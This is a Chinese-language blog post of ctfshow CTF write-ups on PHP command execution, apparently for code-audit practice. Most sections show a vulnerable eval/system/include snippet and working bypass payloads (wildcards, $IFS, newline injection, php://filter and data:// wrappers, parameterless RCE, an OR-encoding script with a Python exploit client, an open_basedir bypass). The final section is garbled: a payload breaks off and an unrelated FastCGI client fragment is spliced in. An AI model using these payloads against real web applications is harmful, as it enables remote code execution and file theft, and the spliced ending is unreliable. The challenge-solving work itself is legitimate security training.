php代码审计前奏之ctfshow之命令执行

访客3年前黑客工具1136

本系列题目来源:CTFSHOW: https://ctf.show/challenges

想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,

故以 CTF 来练习。

web29~过滤关键字

命令执行,需要严格的过滤

源码:

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
  • preg_match — 执行匹配正则表达式

题目限制了不能出现.

构造页面回显:

flag.php index.php 

绕过 flag ,通配符绕过。

linux 中有一些通配符。

代表任意字符 0个或多个

代表任意字符 1 个

匹配abcd中一个字符

匹配范围 a-z

还可以这样绕过

fla\g.php
fla''g.php

payload :

?c=system('cat *');
?c=system('cat fl?g.php');
?c=system('cat f[a-z]ag.php');

执行 payload 后源代码中有显示。

另一种解法:

  • eval — 把字符串作为PHP代码执行

BUXXi8.md.png

传入看到有flag.php ,利用文件包含。

构造:

?c=echo "hello";?><?php include($_GET['a']);&a=php://filter/read=convert.base64-encode/resource=flag.php

得到一串base64 字符串,解码得到

<?php
?
$flag='flag{73c6fd37-47f1-47a4-a9a3-df83ae757139}';
?

web30~增加命令执行函数

命令执行,需要严格的过滤

代码:

<?php
?
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

在上一题的基础上增加了过滤。、、

但是我们依然可以用到其他函数进行代替。

system()
passthru() ? # passthru — 执行外部程序并且显示原始输出
exec() ? ? ? # exec — 执行一个外部程序 ?
shell_exec() # shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示

?c=echo passthru("cat f*");
?c=echo `cat f*`;

或者

?c=echo "hello"; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php

题目wp:

echo `nl fl''ag.p''hp`;

web31~过滤cat,空格

命令执行,需要严格的过滤

源码:

<?php
    
error_reporting(0);
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

1. cat被过滤

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep  在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file
paste  指令会把每个文件以列对列的方式,一列列地加以合并。

2. 空格被过滤·

{$IFS}   $IFS$9
> < <> 重定向符
%09(需要php环境)
{cat,flag.php} //用逗号实现了空格功能
%20  
https://blog.csdn.net/whuslei/article/details/7187639  

payload:

?c=echo(`tac%09f*`);

解法二:

?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

官方

show_source(next(array_reverse(scandir(pos(localeconv())))));

web32~文件包含绕过

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

又增加过滤了 反引号、括号,echo。

文件包含绕过

include
require
include_once
require_once

payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33~文件包含绕过

源码:

<?php


error_reporting(0);
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了一个双引号,

直接用上一题的 payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34~文件包含绕过

源码:

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤多了一个冒号,也是上一关payload 。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35~文件包含绕过

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

多过滤了、。没啥用,直接打

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36~文件包含绕过

<?php
?
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|"|\<|\=|/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

多过滤了,继续打。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37~data协议

<?php
?
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo$flag;

}

}else{
highlight_file(__FILE__);
}

过滤了flag ,又是 include 文件包含

利用伪协议读flag

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

payload:

/?c=data://text/plain,<?php system(ls);
# https://www.php.net/manual/zh/wrappers.data.php

?c=data://text/plain,<?php system('cat f*');

web38~data协议

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

同样使用data协议。

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=

web39~data协议

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

payload:

?c=data://text/plain,<?php system('cat *');?>

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

web40~无参数读文件

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|"|\,|\<|\.|\>|/|\?|\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了引号、$、冒号,还不能用伪协议。

一般括号里参数都要用引号,这里学习一下无参数RCE(remote command/code execute)。

无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数。

详情看这里:

payload:

c=readfile(next(array_reverse(scandir(getcwd()))));

# 多刷新几次
c=readfile(array_rand(array_flip(scandir(getcwd()))));
readfile(array_rand(array_flip(scandir(current(localeconve())))));

wp:
c=session_start();system(session_id());
passid=ls

web41~异或绕过

<?php

if(isset($_POST['c'])){
    $c=$_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 

这个题过滤了使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符。我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。

<?php
$myfile=fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."
";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是传递参数getflag用法

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(""+s1+""|""+s2+"")"
   return(output)
   
while True:
   param=action(input("
[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("
[*] result:
"+r.text)

https://blog.csdn.net/miuzzx/article/details/108569080

web42~</dev/null无过滤

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

payload:

c=ls;
c=cat flag.php;

web43~</dev/null过滤分号cat

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤分号和使用 换行符

?c=ls%0a
?c=tac flag.php%0a

说一下为啥函数要用的分号或者截断,因为不用的话输入的语句就和后边的拼接起来了。最后不关输入啥都会把结果输出到。

详情看这里: https://www.cnblogs.com/520playboy/p/6275022.html

web44~>/dev/null过滤; cat flag

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤、、

结合前面的,直接:

?c=tac f*%0a

web45~>/dev/null多过滤空格

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了个空格。

payload:

?c=tac%09f*%0a

?c=tac$IFS\f*%0A
# 这里 f 前面不加 反斜杠的话就出不来,可能是会被前面的解析到一起吧。
?c=more${IFS}f*%0a

IFS: https://www.xuebuyuan.com/3197835.html

web46~多过滤数字 $ *

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了数字、$ 、*

意味着不能用shell中变量了。

payload:

?c=tac%09fla?.php%0a

nl<fla''g.php||

?c=tac<fla\g.php||

web47~多过滤读取函数

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了 more 、less 、 head 、sort 、tail 。

但是 tac 、od 、uniq 等没被过滤

od 读文件 https://www.cnblogs.com/wfwenchao/p/5188720.html

payload:

?c=tac%09fla?.php%0a

?c=nl%09fla?.php%0a

?c=nl<fla''g.php||

web48~多过滤函数

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了一些读取函数。

payload:

?c=tac%09fla?.php%0a

?c=tac<fla''g.php%0a

web49~多过滤反引号

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤反引号。

payload 同上关一样。

web50~多过滤% x09 x26

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤、、

?c=tac<fla''g.php%0a

?c=tac<>fla\g.php%0a

web51~多过滤tac

<?php
?
sset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c.">/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

这回额外过滤了,但是我们还可以用

?c=nl<fla\g.php%0a

web52~多过滤重定向符但没过滤 $

<?php
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c.">/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?

额外过滤了 重定向符,但是这里没过滤

去查得到得到了一个假的flag.

查询根目录有啥文件

?c=ls${IFS}/%0a
# bin dev etc flag home lib media mnt opt proc root run  *** in srv sys tmp usr var 

?c=nl${IFS}/fla''g%0a

web53

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d=system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

也没多过滤啥。。

得到

ls flag.php index.php readflag
readflag 

payload:

?c=ls%0a
?c=nl<fla''g.php%0a

web54~/bin/?at 绕过

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了一些查看文件指令。

payload:

?c=paste${IFS}fla?.php%0a

?c=/bin/?at${IFS}f?ag.php%0a

?c=/bin/?at${IFS}f?

web55~过滤所有小写字母

<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

直接过滤了所有小写字母!!!。

那么这里肯定是要无字符 rce 。

但是这里没有过滤通配符,所以可以找到一个带有数字的命令,利用通配符执行命令。

  1. base64的使用

    有个命令是,我们可以据此构造

    ?c=/?/64 

    得到

    PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMg QERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhh DQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBo MXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxh Zz0iZmxhZ3tlYTY0MTJlZi03NGY3LTQ1ZjItYWJiYS05M2Y2ODZkOTkwZDh9Ijs=

    解码即得到flag.

  2. bzip2

    bzip2 是 linux 下面的压缩文件的命令。在

    构造

    ?C=/?/?/2 

    然后访问下载即可获得 flag.php

  3. 临时文件上传

    https://www.gem-love.com/websecurity/1407.html

    https://blog.csdn.net/qq_46091464/article/details/108557067

web56~临时文件

<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

多过滤数字,所以用不了上题的前两种 *** 。这里只能详细写一下上题的第三种 *** 了。

我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配).

我们需要构造一个post上传文件的数据包。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

抓包,构造

ByL5qO.md.png

web57~构造数字

<?php

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

这里只需要构造 传参 36 即可,但是数字字符都被ban了。

paylaod

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

linux echo 一下是 36.

web58~readfile读取

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c=$_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

post构造结果

Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

system 函数被 ban了

Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

构造.得到

Array ( [0]=> . [1]=> .. [2]=> flag.php [3]=> index.php ) 

payload:

c=readfile('flag.php');

web59~show_source读取

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c=$_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

同上关但是,

Warning: readfile() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

尝试其他读取文件函数

c=show_source('flag.php');

web60-65~show_source读取

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c=$_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload:

同58一样

web66~highlight_file读取

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
?

用以前 ***

?
Warning: show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
?

结果

$flag="秀秀得了,这次不在这里"; 

返回

Array ( [0]=> . [1]=> .. [2]=> .dockerenv [3]=> bin [4]=> dev [5]=> etc [6]=> flag.txt [7]=> home [8]=> lib [9]=> media [10]=> mnt [11]=> opt [12]=> proc [13]=> root [14]=> run [15]=>  *** in [16]=> srv [17]=> sys [18]=> tmp [19]=> usr [20]=> var ) 

有个flag.txt ,构造 payload:

c=highlight_file('/flag.txt');

web67~var_dump打印

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c=$_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

找目录,发现

Warning: print_r() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" } 

又是假的。

最终

c=highlight_file('/flag.txt');

web68~include读取

打开题目直接

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

说明函数被禁用了。

得到

array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) " *** in" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" } 

有个

、、被禁用了.

读取不了,但是我们还可以直接文件包含。

payload:

c=include('/flag.txt');

web69~var_export打印

同样是

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

var_dump 也被禁用

Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
  • var_export — 输出或返回一个变量的字符串表示

用得到

array ( 0=> '.', 1=> '..', 2=> '.dockerenv', 3=> 'bin', 4=> 'dev', 5=> 'etc', 6=> 'flag.txt', 7=> 'home', 8=> 'lib', 9=> 'media', 10=> 'mnt', 11=> 'opt', 12=> 'proc', 13=> 'root', 14=> 'run', 15=> ' *** in', 16=> 'srv', 17=> 'sys', 18=> 'tmp', 19=> 'usr', 20=> 'var', )

payload:

c=var_export(scandir('/'));`
c=include('/flag.txt');

web70~var_export+include

直接:

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
?
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
?
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

payload:

c=var_export(scandir('/'));
c=include('/flag.txt');

web71~exit(0); 绕过后边代码

?
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
?
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
?
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

得到

?: ?_?() ?   ?  ?  /?/?//?.?    ?: ?_?() ?   ?  ?  /?/?//?.?    ? ( ?=> '.', ?=> '..', ?=> '.?', ?=> '?', ?=> '?', ?=> '?', ?=> '.?', ?=> '', ?=> '?', ?=> '?', => '?', => '?', => '', => '', => '?', => '', => '?', => '?', => '?', => '?', => '?', ) 你要上天吗? 

......发现有个附件,下载打开:

<?php
?
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?
?>
?
你要上天吗?

代码把输出的字母数字都转换为问号.

我们可以是服务端执行完我们的恶意 payload 后就停止运行 php 程序。

所以可以使得后边的代码停止执行,从而不会被正则替换。

payload:

c=var_export(scandir('/'));exit(0);
c=include('/flag.txt');exit(0);

web72~open_basedir

下载附件:

<?php
?
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?
?>
?
你要上天吗?

执行没内容打印。

有进行读取根目录文件,但是被 open_basedir限制.

进行绕过。

c=$it=newDirectoryIterator("glob://
           . chr( $type )                    
                 . chr( ( $requestId >> 8 ) & 0xFF ) 
           . chr( $requestId & 0xFF )        
                 . chr( ( $clen >> 8 ) & 0xFF )     
           . chr( $clen & 0xFF )             
                 . chr( 0 )                        
                 . chr( 0 )                        
                 . $content;                     
}
private function buildNvpair( $name, $value ) {
    $nlen=strlen( $name );
    $vlen=strlen( $value );
    if ( $nlen < 128 ) {
              
              $nvpair=chr( $nlen );
          } else {
              
              $nvpair=chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
          }
          if ( $vlen < 128 ) {
        
        $nvpair .=chr( $vlen );
    } else {
        
        $nvpair .=chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
    }
    
    return $nvpair . $name . $value;
}
private function readNvpair( $data, $length=null ) {
    $array=array();
          if ( $length===null ) {
        $length=strlen( $data );
    }
    $p=0;
          while ( $p !=$length ) {
              $nlen=ord( $data{$p ++} );
              if ( $nlen >=128 ) {
                  $nlen=( $nlen & 0x7F << 24 );
                  $nlen |=( ord( $data{$p ++} ) << 16 );
                  $nlen |=( ord( $data{$p ++} ) << 8 );
                  $nlen |=( ord( $data{$p ++} ) );
              }
              $vlen=ord( $data{$p ++} );
              if ( $vlen >=128 ) {
                  $vlen=( $nlen & 0x7F << 24 );
                  $vlen |=( ord( $data{$p ++} ) << 16 );
                  $vlen |=( ord( $data{$p ++} ) << 8 );
                  $vlen |=( ord( $data{$p ++} ) );
              }
              $array[ substr( $data, $p, $nlen ) ]=substr( $data, $p + $nlen, $vlen );
              $p                                   +=( $nlen + $vlen );
    }
    return $array;
}
private function decodePacketHeader( $data ) {
          $ret        =array();
          $ret['version']=ord( $data{0} );
          $ret['type']=ord( $data{1} );
          $ret['requestId']=( ord( $data{2} ) << 8 ) + ord( $data{3} );
          $ret['contentLength']=( ord( $data{4} ) << 8 ) + ord( $data{5} );
          $ret['paddingLength']=ord( $data{6} );
          $ret['reserved']=ord( $data{7} );
    return $ret;
}
private function readPacket() {
    if ( $packet=fread( $this->_sock, self::HEADER_LEN ) ) {
        $resp  =$this->decodePacketHeader( $packet );
              $resp['content']='';
        if ( $resp['contentLength'] ) {
                  $len=$resp['contentLength'];
                  while ( $len && ( $buf=fread( $this->_sock, $len ) ) !==false ) {
                      $len             -=strlen( $buf );
                      $resp['content'] .=$buf;
                  }
              }
              if ( $resp['paddingLength'] ) {
            $buf=fread( $this->_sock, $resp['paddingLength'] );
        }
        return $resp;
    } else {
        return false;
    }
}
public function getValues( array $requestedInfo ) {
          $this->connect();
          $request='';
          foreach ( $requestedInfo as $info ) {
              $request .=$this->buildNvpair( $info, '' );
          }
          fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
          $resp=$this->readPacket();
          if ( $resp['type']==self::GET_VALUES_RESULT ) {
              return $this->readNvpair( $resp['content'], $resp['length'] );
    } else {
        throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
    }
}
public function request( array $params, $stdin ) {
    $id=$this->async_request( $params, $stdin );
    return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
    $this->connect();
          // Pick random number between 1 and max 16 bit unsigned int 65535
          $id=mt_rand( 1, ( 1 << 16 ) - 1 );
    // Using persistent sockets implies you want them keept alive by server!
    $keepAlive=intval( $this->_keepAlive || $this->_persistentSocket );
          $request=$this->buildPacket( self::BEGIN_REQUEST
              , chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
        , $id
          );
          $paramsRequest='';
    foreach ( $params as $key=> $value ) {
              $paramsRequest .=$this->buildNvpair( $key, $value, $id );
          }
          if ( $paramsRequest ) {
        $request .=$this->buildPacket( self::PARAMS, $paramsRequest, $id );
    }
    $request .=$this->buildPacket( self::PARAMS, '', $id );
          if ( $stdin ) {
        $request .=$this->buildPacket( self::STDIN, $stdin, $id );
    }
    $request .=$this->buildPacket( self::STDIN, '', $id );
          if ( fwrite( $this->_sock, $request )===false || fflush( $this->_sock )===false ) {
        $info=stream_get_meta_data( $this->_sock );
        if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Write timed out' );
              }
              // Broken pipe, tear down so future requests might succeed
              fclose( $this->_sock );
        throw new Exception( 'Failed to write request to socket' );
    }
    $this->_requests[ $id ]=array(
        'state'=> self::REQ_STATE_WRITTEN,
        'response'=> null
    );
    return $id;
}
public function wait_for_response( $requestId, $timeoutMs=0 ) {
    if ( ! isset( $this->_requests[ $requestId ] ) ) {
        throw new Exception( 'Invalid request id given' );
    }
    if ( $this->_requests[ $requestId ]['state']==self::REQ_STATE_OK
